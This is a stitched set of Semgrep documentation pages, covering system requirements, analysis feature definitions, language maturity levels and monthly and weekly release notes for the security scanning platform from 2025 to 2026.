These requirements apply to both Semgrep AppSec Platform and Semgrep CE.
### Software
* Python 3.10 or later installed on the machine you are running Semgrep on.
### Operating system
* macOS
* Linux
* Windows (beta)
## Semgrep AppSec Platform
These requirements apply to Semgrep AppSec Platform.
* A GitHub or GitLab cloud account. The credentials are used to authenticate and identify you.
* A Git repository to scan, stored in any of the following source code managers:
* GitHub
* GitLab
* Bitbucket
* Azure DevOps
* A CI provider and sufficient permissions to create CI jobs.
# Feature definitions
Source: https://docs.semgrep.dev/references/feature-definitions
This document defines the terms used when discussing Semgrep analysis features in [Supported languages](/supported-languages).
## Cross-file dataflow analysis
Cross-file analysis (also known as **interfile analysis**) takes into account how information flows between files. In particular, cross-file analysis includes **cross-file taint analysis**, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many files. Other analyses performed across files include constant propagation and type inference.
Cross-file analysis is usually used in contrast to intrafile, or per-file analysis, where each file is analyzed as a standalone block of code.
Languages with cross-file support also include cross-function support.
## Cross-function dataflow analysis
Cross-function analysis means that interactions between functions are taken into account. This improves taint analysis, which tracks unsanitized variables flowing from a source to a sink through arbitrarily many functions.
## Reachability analysis
Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
See [Overview of Semgrep Supply Chain](/semgrep-supply-chain/overview) to learn how Semgrep leverages its code-scanning and rule syntax capabilities to provide high-signal rules that determine a finding's reachability. This assists security engineers in remediation and triage processes.
# Language maturity levels
Source: https://docs.semgrep.dev/references/language-maturity-levels
This document defines the language maturity levels used on the [Supported languages](/supported-languages) page.
## Semgrep Code
Semgrep Code languages can be classified into four maturity levels:
* Generally available (GA)
* Beta
* Experimental
* Community supported\*
\*Community supported languages meet the parse rate and syntax requirements of
**Experimental** languages. Users can still access community rules or write their
own rules.
| Feature | GA | Beta | Experimental | Community supported |
| :------------------ | :----------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------- | :-------------------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Support | Highest quality support by the Semgrep team. Reported issues are resolved promptly. | Supported by the Semgrep team. Reported issues are fixed after GA languages. | There are limitations to this language's functionality. Reported issues are tracked and prioritized with best effort. | These languages are supported by the Semgrep community. While Semgrep may develop rules or engine updates for these languages, they are not prioritized. |
| Parse Rate | 99%+ | 95%+ | 90%+ | 90%+ |
| Number of Pro rules | 10+ | 5+ | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. | 0+. Query the [Registry](https://semgrep.dev/r) to see if any rules exist for your language. |
| Semgrep syntax | Regex, equivalence, deep expression operators, types and typing. All features supported in Beta. | Complete metavariable support, metavariable equality. All features supported in Experimental. | Syntax, ellipsis operator, basic metavariable functionality. | Syntax, ellipsis operator, basic metavariable functionality. |
## Semgrep Supply Chain
Semgrep Supply Chain has two language maturity levels:
* Generally available
* Beta
| Feature | Generally available | Beta |
| :--------------------------------------------------------------------------------------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Number of reachability rules | As defined by [CVE coverage](/semgrep-supply-chain/requirements-and-feature-support#cve-coverage). | All critical severity CVEs from [supported sources](/semgrep-supply-chain/requirements-and-feature-support#supported-sources) starting 2022 onwards, for packages used by customers with an active, paid subscription. |
| Semgrep, Inc. rule-writing support | Quickly support CVE coverage with reachability analysis for all critical and high vulnerabilities based on the latest [security advisories](https://nvd.nist.gov/vuln). | Coverage for CVEs but without reachability analysis. |
| [Semgrep Community Edition (CE) language support](/supported-languages#semgrep-oss-language-support) | Semgrep CE support is GA. | Semgrep CE support is at least Beta. |
Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
# Week of July 6, 2026
Source: https://docs.semgrep.dev/release-notes/2026-07-06
Updates made to Semgrep during the week of July 6-12, 2026.
## π Semgrep AppSec Platform
### Added
* You can now archive a project from **Project settings**. Projects archived in Semgrep appear on an **Archived** tab with an archived badge, alongside projects archived in your source code manager.
* You can configure Jira subtasks in the Jira integration settings.
* The Policies automations condition builder menus now include typeahead search, so you can find condition types more quickly.
* Remediation policy automations can now include a vulnerability class condition, so you can scope a policy to a class such as SQL Injection or Path Traversal.
* **API**: Added public API endpoints to read, validate, dry-run, and apply detection and remediation policies for Code, Secrets, and Supply Chain. A related endpoint lists the accepted condition and action values.
### Changed
* The **Dashboard's** **Secure guardrails** section is now **Developer engagement**, and its charts have updated titles.
* Redesigned the contributor seats and AI credit usage cards on the **Usage & billing** page with a headline-led layout and updated status badges.
* The **Findings** list now excludes archived issues by default.
* Improved performance of the project scan page and Managed Scans search for large and highly active organizations.
### Fixed
* Fixed an issue where audit events from background tasks were silently dropped instead of recorded.
* Fixed an issue where expired license alerts on the **Usage & billing** page continued to display after live seats were available.
* Fixed issues when migrating Slack notifications to unified policies:
* Migrating legacy Slack notifications could drop Supply Chain notifications or misclassify a policy's product.
* Migrating a project-scoped Slack subscription could create a global policy for every project instead of only the subscribed project.
* Fixed an issue where Azure DevOps webhook validation called the wrong URL.
## π» Semgrep Code
### Changed
* **Dart**: Updated the Dart parser to a more recent upstream version.
## βοΈ Semgrep Supply Chain
### Added
* You can now update and enable an inactive Supply Chain incident policy in one step, instead of editing and then enabling separately.
### Fixed
* Fixed an issue where the **Open Autofix PR** action was hidden for some organizations that use Upgrade guidance and Autofix separately.
* Fixed an issue where the Supply Chain finding **Details** page timed out for findings with long dependency paths.
## π€ Semgrep Multimodal
### Fixed
* Fixed an issue where AI-assisted scan submissions could bypass a customer's configured Amazon Bedrock opt-out.
* Fixed permission errors when creating or listing organization-wide context documentation for AI-powered detection.
* Fixed an issue where secrets in customer code, such as hardcoded credentials, could appear verbatim in saved AI remediation guidance. Secrets are now redacted before guidance is saved.
* Fixed an issue where automatically creating a Memory from a bulk ignore-with-note action could apply to the wrong findings when multiple issue-state filters were selected.
* Fixed an issue where **Suggested memories** pull request (PR) comment links pointed to the wrong PR and returned a 404 on GitHub.
## π Semgrep Secrets
### Fixed
* Fixed an issue where generic secrets findings without an AI autotriage verdict did not appear in the Secrets findings list, even though their **Details** page rendered correctly.
## π§ Semgrep Community Edition
The following versions of Semgrep Community Edition were released during the week of July 6-12, 2026:
# Week of July 13, 2026
Source: https://docs.semgrep.dev/release-notes/2026-07-13
Updates made to Semgrep during the week of July 13-19, 2026.
## π Semgrep AppSec Platform
### Added
* **[Unified policies](/semgrep-appsec-platform/unified-policies/overview)** is now generally available. Unified policies provide a centralized way to choose the rules and rulesets used for Semgrep scans and define what happens after Semgrep identifies a finding, such as leaving PR or MR comments, blocking PRs or MRs, creating Jira tickets, or sending Slack notifications.
* When multiple findings are grouped into a single Jira ticket, Semgrep now creates Jira subtasks for those findings.
### Changed
* Project names must be unique within a deployment and are case-insensitive, so near-duplicate names such as `Foo/Bar` and `foo/bar` can no longer coexist.
* Semgrep cancels scans for a repository when Managed Scans are disabled for that repository's SCM configuration.
### Fixed
* Fixed an issue where migrating Slack notifications to Unified policies could break Slack notification delivery.
* Fixed an issue where findings automatically triaged or marked as likely false positive and moved to **Provisionally ignored** could still sync to Wiz as **Open**.
* Fixed an issue where the **Update Access Token** button was not visible for GitHub and GitHub Enterprise SCM configurations.
* Fixed an issue where self-serve checkout could use outdated Stripe prices instead of the current default price.
* Fixed an issue where users with multiple authentication providers appeared as duplicates in the organization users and team members tables.
* Fixed an issue where the Code **Findings** page could hang when using the Rule Mode filter together with a severity filter on deployments with combined SAST and AI-powered detection findings.
* Fixed an issue where the **Findings** page could get stuck in an endless loading state when a query failed. Semgrep now shows an error state instead.
* Fixed an issue where AI-powered detection findings could be dropped from grouped Jira tickets created from the combined SAST and AI-powered detection view.
## π» Semgrep Code
### Added
* Added the 0xdea community rules registry as a remote ruleset source.
* Pro C/C++ scans now skip code inside statically dead preprocessor branches (for example, `#if 0 ... #else ... #endif`), so patterns no longer match against intentionally disabled code.
* `semgrep install-semgrep-pro` now sends usage metrics so installation errors can be tracked, including the detected install method (pip, Homebrew, or Docker). Disable metrics with `--metrics off` or `SEMGREP_SEND_METRICS=off`.
### Fixed
* Fixed a crash at startup on systems running musl 1.2.6 (such as Alpine 3.24) on recent Intel CPUs.
* **Dockerfile**: Fixed parse errors on `RUN` instructions that use heredoc syntax (`<
# Week of July 20, 2026
Source: https://docs.semgrep.dev/release-notes/2026-07-20
Updates made to Semgrep during the week of July 20-26, 2026.
## π Semgrep AppSec Platform
### Added
* All **Findings** pages now show the reason why a finding was ignored.
### Changed
* Semgrep cancels in-progress, full Managed Scans when an incident-response scan starts for the same repository, so a late-finishing scan cannot overwrite incident-response findings. Superseded scans appear as **Cancelled** with an explanatory tooltip.
* Removed the display of an extraneous drawer when adding the **Send a Slack message** action to a policy; you can now proceed directly to the Slack authentication flow in a new browser window.
* Standardized the order and grouping of items on the **Settings > Integrations** page.
## π» Semgrep Code
### Added
* Extended the period for collecting Git contributor information when you run `semgrep ci` from the last 30 days to the last 90 days, matching the contributor usage policy.
### Changed
* Improved the scan status output when no Code rules run, such as a Secrets-only or Supply Chain-only scan. The summary no longer reports a "0 Code rules" count and instead states that Code scanning is not enabled or that there are no Code rules to run.
### Fixed
* Fixed rare, nondeterministic crashes and incorrect results caused by an OCaml compiler bug.
## βοΈ Semgrep Supply Chain
### Added
* The Supply Chain **Dependencies** page includes an archived projects filter toggle.
* Supply Chain incident Slack notifications include a custom message field.
### Changed
* Removed the timestamp from malware incident Slack notifications, since it could inaccurately suggest a slow response to an incident.
## π€ Semgrep Multimodal
### Added
* Findings that span multiple files can now be verified against their entire fileset when Semgrep verifies whether an AI-powered detection finding is still present, instead of being compared against only one file.
### Fixed
* Fixed an issue where AI-powered detection scan eligibility was disabled when Semgrep Managed Scans was disabled, instead of when no valid AI providers were configured.
## π§ Semgrep Community Edition
The following versions of Semgrep Community Edition were released during the week of July 20-26, 2026:
# Week of July 27, 2026
Source: https://docs.semgrep.dev/release-notes/2026-07-27
Updates made to Semgrep during the week of July 27-August 2, 2026.
## π€ Semgrep Multimodal
### Added
* **[Semgrep Agentic Workflows](/workflows/overview)** is now in public beta. Agentic Workflows run multi-step AI-enabled detection pipelines from Semgrep AppSec Platform, combining program analysis, deterministic tools, and constrained AI-based reasoning to produce reviewable security issues. See [Get started with Semgrep Agentic Workflows](/workflows/get-started).
### Fixed
* Fixed an issue where customers were required to enable Semgrep Managed Scans before they could run an on-demand AI-powered detection scan.
## π Semgrep AppSec Platform
### Added
* Webhook validation and test failure error messages now include specific failure reasons.
* Semgrep now shows a confirmation warning when you add or remove project tags that are attached to policies, both during bulk edit and from a project's settings page.
### Fixed
* Fixed an issue where the auto-ignore automation sometimes reverted a manual triage decision by setting all instances of the finding back to **Provisionally ignored**.
* Fixed GitHub PAT setup errors so namespace permission failures now show clearer, more actionable messages.
* Fixed an issue where **Provisionally ignored** findings could not be reopened from the finding **Details** page.
* Fixed an issue where a Slack notification channel mapping was deleted when the Semgrep Slack app lacked permission to post to a private channel. Semgrep now removes the mapping only when the channel is deleted.
## βοΈ Semgrep Supply Chain
### Added
* You can configure [license compliance](/semgrep-supply-chain/license-compliance) to block a dependency only when all of its licenses are blocked, instead of when any license is blocked.
### Changed
* Released a default Supply Chain incident notification policy to all Supply Chain customers using [Unified policies](/semgrep-appsec-platform/unified-policies/overview). Organizations can configure a Slack channel to be notified during an ongoing Supply Chain incident, including whether they may be affected based on their most recent SBOM. Semgrep AppSec Platform's incident policy page has been redesigned to be visually distinctive from regular policy pages, and Semgrep now warns when a configured Slack channel cannot receive automated messages.
## π§ Semgrep Community Edition
The following versions of Semgrep Community Edition were released during the week of July 27-August 2, 2026:
# Week of August 3, 2026
Source: https://docs.semgrep.dev/release-notes/2026-08-03
Updates made to Semgrep during the week of August 3-9, 2026.
## π€ Semgrep Multimodal
### Added
* [Agentic Workflows](/workflows/overview) step logs now use a structured viewer. Run logs are parsed into individual fields that you can search and filter, instead of reading a single block of text.
### Fixed
* Fixed an issue where Agentic Workflows issues showed no link to the source file when the SCM connection was disconnected or in a bad state. Semgrep now builds file links from stored repository metadata and displays a repository or settings fallback when code cannot be loaded.
## π Semgrep AppSec Platform
### Added
* The public policies API vocabulary now includes `breaking_change` and `full_scan`, so scan policies that use those options can be represented through the API. The policies API is in public beta for organizations using [unified policies](/semgrep-appsec-platform/unified-policies/overview).
### Changed
* Findings counts on the **Projects** page now include **Reviewing** and **To fix** findings, in addition to **Open**. A **Counts updated** tooltip on the **Projects** page explains the change.
* The unified policies migration banner now includes the migration schedule: Semgrep will start migrating some organizations to unified policies on August 24, 2026, and will sunset the current version of Policies on November 1, 2026. Organizations that do not want to migrate yet can [contact Support](/support).
* Features that require [unified policies](/semgrep-appsec-platform/unified-policies/overview), including Autofix draft fix requests, now show a prompt to upgrade when your organization has not migrated yet.
* The rules table on the **Detection** policies page keeps its actions column visible on narrow screens, so the primary action stays reachable without horizontal scrolling.
### Fixed
* Fixed an issue where the **Code detection policies** page did not load if a rule without a path was included in a policy, which blocked policy edits.
* Fixed an issue where the scanning behavior drawer used the same project selection when switching between include and exclude, and did not clearly distinguish included projects from excluded projects.
# April 2025
Source: https://docs.semgrep.dev/release-notes/april-2025
April 30, 2025 Β· 4 min read
The following updates were made to Semgrep in April 2025.
## π Semgrep AppSec Platform
### Added
* Added the following information in the Semgrep API:
* Rule author information under the `registry_source` field in the Semgrep API. For example, if the source or author of the rule is Semgrep, the value returned is `semgrep`.
* CWE information.
* OWASP categories.
* Technology values, such as `bash` or `curl`.
* Semgrep Managed Scans now run when a pull request or merge request is reopened.
### Changed
* Jira labels can now support special characters.
### Fixed
* Various fixes and improvements to Teams (role-based access control).
## π» Semgrep Code
### Added
* Added a new ruleset to detect **unauthorized** use of AI or LLM libraries, that is, the use of AI without going through security reviews or approval processes. This includes direct API calls, such as `api.openapi.com`, `api.anthropic.com` and libraries in code such as `langchain` and `transformers`. See the [ Semgrep Shadow AI](https://semgrep.dev/shadowAI) page to learn more.
## βοΈ Semgrep Supply Chain
### Added
* [SBOM export through the Semgrep API](/api-reference/v1/supplychainservice/create-a-new-sbom-export-job) is now generally available.
* [Malicious dependency detection](/semgrep-supply-chain/malicious-dependencies) is now in **public beta**. Semgrep enables you to block pull requests (PRs) or merge requests (MRs) introducing these dependencies. You can also filter for malicious dependency findings, which assists in identifying and removing these dependencies.
* Added support for PR comments warning users that they may be adding malicious dependencies.
* **Upgrade guidance** and **click to fix** are now in **private beta** for users with Python projects hosted by GitHub.com and with Semgrep Assistant enabled. With upgrade guidance and click to fix, Supply Chain analyzes your project to surface breaking changes that you must fix as part of a version upgrade. Semgrep AppSec Platform provides you with a one-click option that opens a pull request to:
i. Upgrade the dependency to a safe version.
ii. Lets the developer know if the upgrade is safe or if there are breaking changes and what those changes are.
* **Transitive reachability** is now in **private beta**. For JavaScript projects, Semgrep reachability now extends to transitive dependencies.
### Changed
* Increased the rate limit for SBOM exports through the Semgrep API.
* Improved Supply Chain PR comments by adding separate templates for conditionally reachable and always reachable findings, as well as manual review advice for conditionally reachable findings.
* Improved the user introduction to Supply Chain to focus on reachable findings.
* Improved the **Supply Chain > Details** page.
## π€ Semgrep Assistant
### Added
* Semgrep Assistant now attempts to create a memory during triage if possible. If Semgrep creates a memory, you'll see a dialog appear, indicating that this has happened, along with a link to the list of your organization's memories for review.
* Assistant Memories v2 is now in **private beta**:
* Managing memories in Semgrep AppSec Platform now occurs under **Policies**, not **Settings**.
* Semgrep AppSec Platform displays data on the scope and impact of memories, including the number of findings affected and which findings affected
* Assistant now provides **suggested memories**, which are those that Assistant has generated based on your past triage actions. You can view these memories at any time in Semgrep AppSec Platform by navigating to **Rules & Policies > Assistant Memories > Suggested**. For each suggestion, you can choose one of the following actions:
* Activate the suggested memory to inform Assistant's future advice.
* Edit the memory, then activate it.
* Delete the memory.
## π Semgrep Secrets
### Fixed
* Fixed an issue where Semgrep AppSec Platform didn't display the correct number of Secrets findings in the navigation bar.
## π Documentation and knowledge base
### Added
* Semgrep release notes are now available through RSS. You can subscribe to the:
* [ Semgrep release notes feed](https://docs.semgrep.dev/release-notes/rss.xml).
* [ Semgrep product updates feed](https://semgrep.dev/products/product-updates/rss/).
* Added information about:
* Semgrep Assistant's model providers.
* Code security measures for managed scans.
* Supported languages for `metavariable-type` rules operator
* `metavariable-name` operator.
### Changed
* Minor updates to the Supported Languages documentation.
* Minor fixes to the following product features:
* Assistant autotriage.
* Dataflow analysis in Semgrep AppSec Platform.
* Managed scans for Azure DevOps projects.
* `.semgrepignore`.
### Fixed
* Minor typo fixes and UI updates.
## π§ OSS Engine
The following versions of the OSS Engine were released in April 2025:
# April 2026
Source: https://docs.semgrep.dev/release-notes/april-2026
May 12, 2026 Β· 8 min read
The following updates were made to Semgrep in April 2026.
## π Semgrep AppSec Platform
### Added
* Added a prompt for users to log in with their corporate SSO credentials instead of their GitHub or GitLab credentials when their organization has corporate SSO configured.
* Added workflow execution usage information to the [AI credits dashboard](https://semgrep.dev/orgs/-/settings/usage) so users can see workflow runs alongside scans, triage actions, and fixes.
* Added the ability to download contributor usage information from **Settings > Usage & Billing**.
* Added AI-powered detection findings to the findings API endpoint (`GET /api/v1/deployments/{slug}/findings`).
* Added Jira ticketing support for AI-powered detection findings.
* Added the ability to manually run full scans for the non-default or non-primary branches using Semgrep Managed Scans.
* Added the ability to retry Semgrep Managed Scans that failed or didn't complete.
* **Semgrep Guardian**: added support for a Supply Chain hook.
### Changed
* The interfile analysis engine has been redesigned to improve performance. These improvements change how findings are generated, which might result in additional true positives and fewer false positives.
* Contributor seat limit alerts now explain that scans continue as a courtesy when an organization exceeds its seat limit, replacing the previous inaccurate "scans will be paused" text.
* Removed the **Fixed in** time filter option from all **Findings** pages.
* The **Projects** list now includes Semgrep Managed Scans that are pending or have never started scanning.
* [Semgrep Playground](https://semgrep.dev/playground/new) is now mobile-friendly.
### Fixed
* Fixed an issue where invalid configurations caused the **Integrations** page to not load. Semgrep now displays a meaningful error and allows users to edit or delete the configuration.
* Fixed an issue where Semgrep did not save changes when Gradle or Maven registry integration credentials were updated.
* Fixed an issue where the **Settings > Usage** panel incorrectly showed a subset of seats when a deployment had multiple active licenses for the same product instead of the correct combined total.
* Fixed an issue where the **Remove user from organization** button was available to **Managers**, allowing them to remove Admin users.
* Fixed an issue where read-only users could upload CLI scan results and overwrite findings by setting `SEMGREP_REPO_DISPLAY_NAME`. CLI scan endpoints now enforce scan permissions.
* Fixed an issue where CSV findings exports failed with `IndexError: list index out of range` for some users when a paginated batch returned an empty list.
* Fixed the `repos` filter on the findings and issues API endpoints to use case-insensitive matching.
* Fixed an issue where the **provisionally ignored** filter for the public findings API endpoints returned all findings.
* Fixed an issue where the Jira integration failed to load for deployments that saved their Jira configuration before support for AI-detection findings was added.
* Fixed an issue with the SARIF trace output for taint mode so that it now uses the correct file URI and includes the sink call trace in `codeFlows`.
* **IDE**: fixed an issue where network errors occurring during token verification resulted in saved tokens being cleared.
* Minor UI fixes.
## π» Semgrep Code
### Added
* The **finding details** page now displays the reason why a finding was ignored at the top. Users no longer need to go to the **Activity** section to see this information.
* Added the findings count and a link to view findings to the AI-powered detection scan progress timeline.
* Added AI-powered detection findings to the Findings CSV export file.
* Improved support for variadic functions in taint-tracking mode.
* **Scala**: added `tree-sitter` parser to improve parsing accuracy.
### Fixed
* Fixed an issue where the AI-powered detection scan time estimate was overinflated.
* Fixed an issue where Autofix wasn't able to create a GitHub pull request due to the Semgrep GitHub app requesting insufficient permissions.
* Fixed an issue where Autofix features were unavailable to organization **members**, as well as **admins**.
* Fixed an issue where Autofix displayed a suggested fix for Supply Chain findings. Autofix is only applicable to Code findings.
* Fixed an issue where Autofix errored out when attempting to open pull requests for Azure DevOps repositories. Semgrep now rejects these requests since Azure DevOps isn't supported.
* Fixed an issue where Autofix errored out when handling requests involving archived repositories. Semgrep now rejects these requests and displays an error message accordingly.
* Fixed an issue where some GitHub Enterprise users stopped seeing Autofix pull requests.
* Fixed an issue where provisionally ignored findings couldn't be triaged without a comment provided.
* Fixed Autofix pull request descriptions so that they properly display the user's GitHub username.
* Fixed an issue with GitHub App permission checks, which had been using app manifest permissions, or what the app declares, instead of installation-level permissions, or what was actually granted, causing the **Autofix** button to be incorrectly hidden or shown.
* Fixed performance issues during the parsing of Semgrep rules containing non-BMP Unicode characters
* **Scala**:
* Fixed an issue with trait parameters in versions 3.4.x and later so that they are now parsed correctly.
* Fixed an issue where Semgrep failed silently instead of returning an error when target file discovery fails.
## βοΈ Semgrep Supply Chain
### Added
* Added reachability coverage for Rust.
* Supply Chain advisories now have dedicated detail pages, replacing the previously used drawers.
* Added dependency path information to the SBOM exports and the Issues API endpoint.
### Fixed
* Fixed an issue with legacy Supply Chain findings URLs that resulted in the findings page showing zero results.
* Fixed the **Dependencies** filter on the **Findings** page so that exact matches rank above all other matches.
* Fixed the advisory ID search so that it is case-insensitive.
* Fixed an issue where the Autofix API endpoints accepted pull requests for issues that were already fixed, removed, or ignored.
## π€ Semgrep Multimodal
### Added
* Added IAM role-assumption authentication mode for Amazon Bedrock BYOK. In addition to static access keys, users can now configure an IAM role ARN and grant Semgrep cross-account access using the generated external ID.
### Changed
* Findings of **critical** or **high** severity with **high** or **medium confidence** identified during diff-aware scans are now included in autotriage analysis.
* The memory creation dialog now prompts users to create specific, named memories, such as "`ConfigService` is an internal backend service" rather than generic, conditional memories.
### Fixed
* Fixed an issue with pull request comment URL construction for tag-scoped and deployment-wide memories that previously resulted in no pull request comments being posted.
## π§ Semgrep Community Edition
* The following versions of Semgrep Community Edition were released in April 2026:
# August 2025
Source: https://docs.semgrep.dev/release-notes/august-2025
September 3, 2025 Β· 3 min read
The following updates were made to Semgrep in August 2025.
## π Semgrep AppSec Platform
### Changed
* **Jira:**
* The labels `Malicious Dependency` and `Non-malicious Vulnerability` have been changed to `Malicious Dependency` and `Not Malicious`, respectively.
* Jira tickets created for malicious dependency findings now include more prominent visuals, such as bolded rule messages, to help them stand out from other reachable findings.
* The maximum number of findings associated with a specific Jira ticket has increased from 50 to 75.
* You can now connect to your GitHub repositories without needing to contact Semgrep Support, even if you don't use GitHub as your SSO provider with Semgrep.
* You can now view a project's details page while the scan is still in progress.
### Fixed
* Semgrep now maintains connectivity to repositories that you move from one GitHub organization to another.
* Bitbucket pull request comments from Semgrep now display with correct formatting.
## π» Semgrep Code
### Added
* Added support for interfile analysis for Scala projects.
* Added a timeout to Semgrep's internal HTTP requests to prevent remote endpoints from indefinitely hanging the Semgrep engine.
* Improved pre-filtering for interfile rules enables the Semgrep engine to detect and skip unnecessary interfile rules earlier in the scan process.
* When a segmentation fault is encountered, Semgrep now displays backtraces with function names, filenames, and line numbers when available.
* **PHP:**
* When enabling the option `taint_assume_safe_booleans`, the return values of
`boolval`, `is_bool`, and `||` are considered safe.
* When enabling `taint_assume_safe_numbers`, the return values of `intval`,
`floatval`, `+`, `-`, `*`, `/`, and `%` are considered safe.
### Changed
* Semgrep scans no longer attempt to parse `tsconfig` files for non-TypeScript scans.
* **CLI**: the `--json` output of Semgrep's CLI now includes a `time` field or `time` object with profiling data.
### Fixed
* Fixed incorrect YAML parsing of strings like `nan`, where the strings were interpreted as a float instead of a string.
* Fixed a bug that prevented taint tracking through `new` in Java projects.
* Semgrep now substitutes metavariables for their values in a deterministic order to
ensure keys for match-based IDs are stable.
* Error messages are logged, but not displayed as pop-ups in IDEs.
## βοΈ Semgrep Supply Chain
### Added
* Supply Chain's reachability analysis now covers all high and critical severity CVEs in Python packages from supported sources starting 2017 and onward.
* Supply Chain policies now support the exclusion of conditions. For example, you can define a condition such as `When Reachability is not Always reachable`.
## π€ Semgrep Assistant
### Added
* Added support for the use of custom Amazon Bedrock keys.
## π Semgrep Secrets
### Added
* Semgrep now logs the amount of time required for the HTTP request to complete when validating Secrets in the debug logs.
### Changed
* Semgrep Secrets no longer allows more than 256 outstanding validations at any given time.
## π§ OSS Engine
* The following versions of the OSS Engine were released in August 2025:
# December 2025
Source: https://docs.semgrep.dev/release-notes/december-2025
January 13, 2026 Β· 7 min read
The following updates were made to Semgrep in December 2025.
## π Semgrep AppSec Platform
### Added
* Added a new **Priority** tab on **Findings** page to display high-priority findings. Each product has default priority categories, and Semgrep admins can customize the **Priority** tab to control which findings appear. Admins can save **Priority** tab filters for all users.
* Added a new **Provisionally ignored** finding status.
* Commit author emails now appear in the finding's **Details** when available.
### Changed
* The **Findings** page now has improved navigation and more intuitive links. The code path now opens the finding's **Details** page, and an in-product tour introduces the new layout.
* On the **Projects** page, project names now link directly to project details, making it easier to access scan information from the project list.
* On the finding's **Details** page, when no ticketing integration is configured, the Fix drop-down now includes a prominent link to the relevant **Integration** settings page.
* The **Settings** page has been reorganized to highlight commonly used features and make it easier to find what you need.
* The triage-by-comment setting is now available in the **Settings > Global** section, making it easier to manage across products.
* When SSO is enabled, the Semgrep AppSec Platform now shows warnings for social authentication in **Settings > Access > Login methods** and highlights users using social auth in **Settings > Users**, helping admins identify and reduce security risks.
* Newly created users who sign in with SSO are now added only to the default deployment, reducing unintended access in multi-deployment organizations.
* Activating or deactivating SSO and other authentication providers now shows more user-friendly success and partial-failure messages.
* The **Today** section on the **Reporting** page now uses the same priority definitions as the **Findings** page, including any custom priority settings.
* The **Guardrails** chart now shows provisionally ignored findings instead of the previous **Filtered by Assistant** field, providing a more complete view of findings excluded from the default list of **Open** findings.
* User search on the **Manage users** page has been simplified. You can now search by email, username, or ID using a single search field, without selecting the search type first.
### Fixed
* Fixed incorrect tab selection during navigation so the correct tab is now highlighted when viewing pages under the project path.
* Fixed IdP-initiated SAML login issues. You can now sign in successfully using IdP-initiated SAML.
* Fixed Assistant triage actions for read-only users. Read-only users can no longer record agreement with Assistant analysis, and the activity timeline now reflects only actions taken by users with triage permissions.
* Fixed an issue where the **Connect** button remains disabled when adding a new GitHub Enterprise connection.
* Fixed an issue where the **Save** and **Reset** buttons appear only when youβve modified filters or have saved views to manage.
* Fixed CNAPP visibility for non-admin users. Users with access to findings can now see CNAPP integration status, ensuring CNAPP filters and descriptions display correctly.
* Fixed an issue where the **Users** page did not reset when changing the search query.
* Fixed an issue where the **Teams** search bar was unusable when adding users or projects.
* Fixed an issue preventing custom OpenAI API keys from being saved.
* When a scan is running, the **Analyze** button on the finding's **Details** page is now disabled and displays an explanatory tooltip on why this is the case.
* Fixed several issues with **Findings** page filters:
* The **Save** and **Reset** buttons only appear when you've modified the filters or have saved views to manage.
* Changes to time-based filters persist.
* Team filters now appear only when RBAC is enabled, ensuring filters reflect your deploymentβs access controls.
## π» Semgrep Code
### Changed
* Git Large File Storage (LFS) objects are excluded from baseline scans. Files tracked with Git LFS are no longer scanned during baseline runs, avoiding large or binary files that are not supported by Semgrep.
### Fixed
* Fixed an issue where findings in files that time out or fail to scan were set to a status of **Fixed**, ensuring scan results more accurately reflect what was actually analyzed.
* Fixed validation failures for valid rules. Rules that include emoji in the `message` field now validate correctly.
* Fixed an interfile scan timeout regression, restoring the previous default job behavior to prevent unexpected timeout changes.
* Fixed an issue with duplicate scans triggered by GitHub pull request updates. Semgrep now processes pull request update events only once, preventing duplicate scans for the same change.
## βοΈ Semgrep Supply Chain
### Added
* The **Advisories** page now shows impacted projects and branches. You can now click on an advisory to see affected projects and branches and use quick links to go directly to relevant findings.
* Added new **High severity** reachability rules to improve vulnerability detection for Java, Kotlin, and Scala projects that use Maven.
* Added symbol analysis support for Supply Chainβonly scans when calling `semgrep ci`.
### Changed
* The **Dependencies** page's **License** filter now supports the section of multiple license types, so you can view dependencies that are **Allowed**, **Blocked**, and **Commented** at the same time.
### Fixed
* Fixed project filtering on the **Dependencies** page such that filtering by multiple projects now works as expected, and the search field clears correctly after you select a project.
* Fixed symbol analysis to analyze only relevant language files per ecosystem during Supply Chain scans.
* Fixed CVE filter chip labeling for shared rules such that filter chips now show all applicable CVEs instead of only the first.
* Fixed missing findings in advisory filters. Advisory filters now correctly show all existing findings.
* Fixed project selection in Supply Chain filters, allowing you to select multiple projects as expected when filtering results.
## π€ Semgrep Assistant
### Added
* Added support for Cursor post-generation hooks, enabling Semgrep to integrate with Cursor workflows after code generation.
* Assistant memories now include links to the pull request or merge request comments where triage decisions were made, improving traceability back to the original source.
### Changed
* Pull request comments for findings generated using Semgrep-authored rules now include Assistant-generated explanations to help developers understand the findings. The summary message can be expanded to show additional details.
* Findings in Semgrep AppSec Platform now include Assistant-generated explanations to clarify why a rule matched your code and a concise summary, if available.
* Assistant notifications now show more specific error messages, helping you understand why an analysis could not run.
* When multiple rules share the same name, the full rule path is now shown in Semgrep AppSec Platform to help distinguish them.
### Fixed
## π Semgrep Secrets
### Changed
* Semgrep Secrets findings are now assigned a severity of **Critical**. This applies to Secrets findings from scans performed after November 2025. Any existing findings from those rules will be updated to **Critical** after the project's next full scan.
### Fixed
* Fixed an issue with configuring Slack notifications for Secrets policies. Selecting a Slack channel no longer causes the page to crash, and configurations now save successfully.
## π Documentation and knowledge base
### Added
* Improved API documentation for Ruleboards and Policies. The API docs have been updated to correctly display request parameters in the request body and hide path parameters, making it easier to understand and use these endpoints.
## π§ OSS Engine
### Changed
* Semgrepβs Docker image now uses Alpine Linux 3.23
- The following versions of the OSS Engine were released in December 2025:
# February 2026
Source: https://docs.semgrep.dev/release-notes/february-2026
March 6, 2026 Β· 4 min read
The following updates were made to Semgrep in February 2026.
## π Semgrep AppSec Platform
### Added
* **CLI**:
